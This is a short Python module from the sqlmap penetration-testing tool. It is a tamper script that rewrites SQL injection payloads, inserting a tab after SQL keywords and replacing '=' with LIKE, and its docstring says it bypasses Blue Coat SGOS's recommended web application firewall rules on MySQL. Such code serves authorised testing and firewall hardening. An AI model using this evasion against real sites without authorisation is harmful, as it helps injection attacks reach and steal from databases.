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47 lines
1.2 KiB
Python
47 lines
1.2 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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import os
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import re
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from lib.core.common import singleTimeWarnMessage
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from lib.core.enums import DBMS
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.NORMAL
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def dependencies():
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singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
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def tamper(payload, headers=None):
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"""
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Replaces space character after SQL statement with a valid random blank character.
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Afterwards replace character = with LIKE operator
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Example:
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* Input: SELECT id FROM users where id = 1
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* Output: SELECT%09id FROM users where id LIKE 1
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Requirement:
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* MySQL, Blue Coat SGOS with WAF activated as documented in
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https://kb.bluecoat.com/index?page=content&id=FAQ2147
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Tested against:
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* MySQL 5.1, SGOS
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Notes:
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* Useful to bypass Blue Coat's recommended WAF rule configuration
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"""
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retVal = payload
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if payload:
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retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)\s+", r"\g<1>\t", payload)
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retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
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return retVal
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